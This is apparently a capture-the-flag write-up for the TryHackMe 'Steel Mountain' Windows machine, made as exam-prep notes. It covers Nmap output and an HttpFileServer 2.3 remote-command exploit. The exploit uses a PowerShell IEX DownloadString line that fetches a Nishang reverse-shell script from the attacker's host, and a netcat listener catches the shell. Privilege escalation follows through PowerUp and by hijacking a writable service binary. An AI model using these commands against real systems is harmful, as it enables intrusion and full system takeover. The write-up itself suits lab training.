

THM : Steel Mountain

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- a. Attack Vector
- b. Mode of Attack

Machine Information

Contents	Description
Name	HTB/THM : Steel Mountain
Difficulty	Easy
OS	Windows
Shell_Exploit	HttpFileServer (HFS) RCE Exploit
Priv_Esc	Unquoted Service Path Vul'n
Miscellaneous	Make sure to not fall into rabbit holes

Scanning

Nmap

There seems to be a lot of open ports

```
PORT      STATE SERVICE      REASON  VERSION
80/tcp    open  http         syn-ack Microsoft IIS httpd 8.5
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/8.5
|_http-methods:
|_Supported Methods: OPTIONS TRACE GET HEAD POST
|_Potentially risky methods: TRACE
135/tcp    open  msrpc        syn-ack Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp   open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp   open  http         syn-ack HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
|_http-methods:
|_Supported Methods: GET HEAD POST
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
47001/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
```

- We have SMB open thats surely a vector
- Lets start with the HttpFileServer cuz it might be straight forward.
- What is HTTPAPI httpd 2.0 (SSDP/UPnP)

Enumeration

Web Browser

a. Robots.txt

N/A

b. Basic Website Enumerations/Spidering

Main web-page exists



Employee of the month



- Lets see the page source for more info!!!

2nd HTTP port open at 8080

Unauthorized

Either your user name and password do not match,

HttpFileServer 2.3
11/16/2022 7:53:40 AM

- HttpFileServer 2.3 might be vul'n. Lets take this as our first attack vector.
- Lets start with the searchsploit search and if there isnt any hits then we'll do Online search and Metasploit.
- If none works then there might not be any exploits publically available and in that case we'll have to move to another attack vector.

c. Source Code

Well we can see that the person in the image is called *Bill Harper*. There is nothing else to see here I guess.

```

1 <!doctype html>
2 <html lang="en">
3 <head>
4   <meta charset="utf-8">
5   <title>Steel Mountain</title>
6 <style>
7 * {font-family: Arial;}
8 </style>
9 </head>
10 <body><center>
11 <a href="index.html"></a>
12 <h3>Employee of the month</h3>
13 
14 </center>
15 </body>
16 </html>

```

Searchsploit/Online DBs

Lets do a searchsploit search

```

(root@darkrai)-[/home/.../oSCP_Prep/thm/Windows/7.Steel_Mountain]
# searchsploit httpfileserver

```

Exploit Title	Path
Rejeto HttpFileServer 2.3.x - Remote Command Execution (3)	windows/webapps/49125.py

```

Shellcodes: No Results

```

- This is why I said its straight forward.
- Lets look at the POC

```

#!/usr/bin/python3

# Usage : python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:
\windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://
10.10.14.4/shells/mini-reverse.ps1')"

```

- Well the script is straight forward, lets use **nishang/shells/Invoke-PowerShellTcp.ps1** to spawn a reverse powershell and take it from there.
- Hope all you guys have niighag with you. Copy it to the current directory and

Gobuster Scan

N/A

Other Enumerations

N/A

Exploit

a. Attack Vector

we ll be using the nishang/shells/Invoke-PowerShellTcp.ps1 along wiith the RCE script

- *Commands*

```
cp nishang/shells/Invoke-PowerShellTcp.ps1 .
```

```
cp Invoke-PowerShellTcp.ps1 rev-shell.ps1
```

```
Invoke-PowerShellTcp -Reverse -IPAddress Kali_IP -Port Listen_PORT -->
```

add this to the end of the file.

b. Mode of Attack

Nshang Powershell script and HttpFileServer exploiit script

- *Commands*

- ```
nc lnvp 7799
```

- ```
python3 HttpFileServer.py 10.10.167.156 8080
```

```
"c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX  
(New-Object  
Net.WebClient).DownloadString('http://10.11.10.39:8000/rev-  
shell.ps1')"
```

```
(anonymous@darkrai)-[~/oSCP_Prep/thm/Windows/7.Steel_Mountain]
$ python3 HttpFileServer.py 10.10.167.156 8080 "c:\windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.11.10.39:8000/rev-shell.ps1')"
```

```
(anonymous@darkrai)-[~/oSCP_Prep/thm/Windows/7.Steel_Mountain]
$ nc -lvnp 7799
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7799
Ncat: Listening on 0.0.0.0:7799
Ncat: Connection from 10.10.167.156.
Ncat: Connection from 10.10.167.156:49257.
Windows PowerShell running as user bill on STEELMOUNTAIN
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>
```

The user.txt flag

```
Directory: C:\Users\bill\Desktop

Mode                LastWriteTime         Length Name
----                -
-a---             9/27/2019   5:42 AM             70 user.txt

PS C:\Users\bill\Desktop> cat user.txt
[REDACTED]
```

Priv_Esc

a. Attack Vector

Lets use powerUp to enumerate

- *Commands*

- `cp /opt/PowerSploit/Privesc/PowerUp.ps1 .`
- `mv PowerUp.ps1 Pwr-Up.ps1`
- `python3 -m http.server`
- `IEX (New-Object Net.WebClient).DownloadString('http://10.11.10.39:8000/Pwr-Up.ps1')`
- `+ Invoke-AllChecks`

- OR

b. Mode of Attack

- Some basic Enumerations before going for the kill

```
Mode                LastWriteTime         Length Name
----                -
-a---             2/16/2014  12:58 PM       760320 hfs.exe

PS C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup> icacls hfs.exe
hfs.exe NT AUTHORITY\SYSTEM:(F)
        BUILTIN\Administrators:(F)
        STEELMOUNTAIN\bill:(F)
```

- lets keep this in mind

Vuln

- we Have 2 potentiial Candidates here

1. AdvancedSystemCareService9

```
PS C:\Users\bill\Desktop> icacls "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe STEELMOUNTAIN\bill:(I)(RX,W)
                                                                NT AUTHORITY\SYSTEM:(I)(F)
                                                                BUILTIN\Administrators:(I)(F)
                                                                BUILTIN\Users:(I)(RX)
                                                                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
                                                                : (I)(RX)

Successfully processed 1 files; Failed processing 0 files
```

2. IObitUnSvr

```
PS C:\Users\bill\Desktop> icacls "C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe"
C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe STEELMOUNTAIN\bill:(I)(RX,W)
                                                                NT AUTHORITY\SYSTEM:(I)(F)
                                                                BUILTIN\Administrators:(I)(F)
                                                                BUILTIN\Users:(I)(RX)
                                                                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I
                                                                )(RX)

Successfully processed 1 files; Failed processing 0 files
```

- For CTF exploiting any of them will give you NT AUTHORITY\SYSTEM but in a penetratiin testing stand point, you have to check all of them. and record them systematically.

Lets check the details of the application wiith **sc query**

- `cmd.exe /c "sc qc IObitUnSvr"`

```
PS C:\Users\bill\Desktop> cmd.exe /c "sc qc IObitUnSvr"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IObitUnSvr
        TYPE               : 10    WIN32_OWN_PROCESS
        START_TYPE          : 2     AUTO_START
        ERROR_CONTROL       : 0     IGNORE
        BINARY_PATH_NAME    : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
        LOAD_ORDER_GROUP    :
        TAG                 : 0
        DISPLAY_NAME        : IObit Uninstaller Service
        DEPENDENCIES        :
        SERVICE_START_NAME  : LocalSystem
```

- `cmd.exe /c "sc qc AdvancedSystemCareService9"`

```
PS C:\Users\bill\Desktop> cmd.exe /c "sc qc AdvancedSystemCareService9"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AdvancedSystemCareService9
        TYPE               : 110   WIN32_OWN_PROCESS (interactive)
        START_TYPE          : 2     AUTO_START
        ERROR_CONTROL       : 1     NORMAL
        BINARY_PATH_NAME    : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
        LOAD_ORDER_GROUP    : System Reserved
        TAG                 : 1
        DISPLAY_NAME        : Advanced SystemCare Service 9
        DEPENDENCIES        :
        SERVICE_START_NAME  : LocalSystem
```

Lets Check the Permissions we have on the directories

- `.\accessChk.exe /accepteula -uwc directory_name`

Dont look deep into this cuz this **IObitUnSvr** is a rabbit hole, which is intentionally made vul'n to throws the users into confusion.

Fiinal Exploit

- `cmd.exe /c "sc stop AdvancedSystemCareService9"`
- `cmd.exe /c "sc start AdvancedSystemCareService9"`


```
Directory of C:\Users\Administrator\Desktop

10/12/2020  11:05 AM    <DIR>          .
10/12/2020  11:05 AM    <DIR>          ..
10/12/2020  11:05 AM                1,528 activation.ps1
09/27/2019  04:41 AM                32 root.txt
            2 File(s)                1,560 bytes
            2 Dir(s)  44,154,769,408 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
```

- `cmd.exe /c "sc stop IObitUnSvr"`

```
PS C:\Program Files (x86)\IObit> del IObit.exe
PS C:\Program Files (x86)\IObit> cmd.exe /c "sc stop IObitUnSvr"
[SC] OpenService FAILED 5:

Access is denied.
```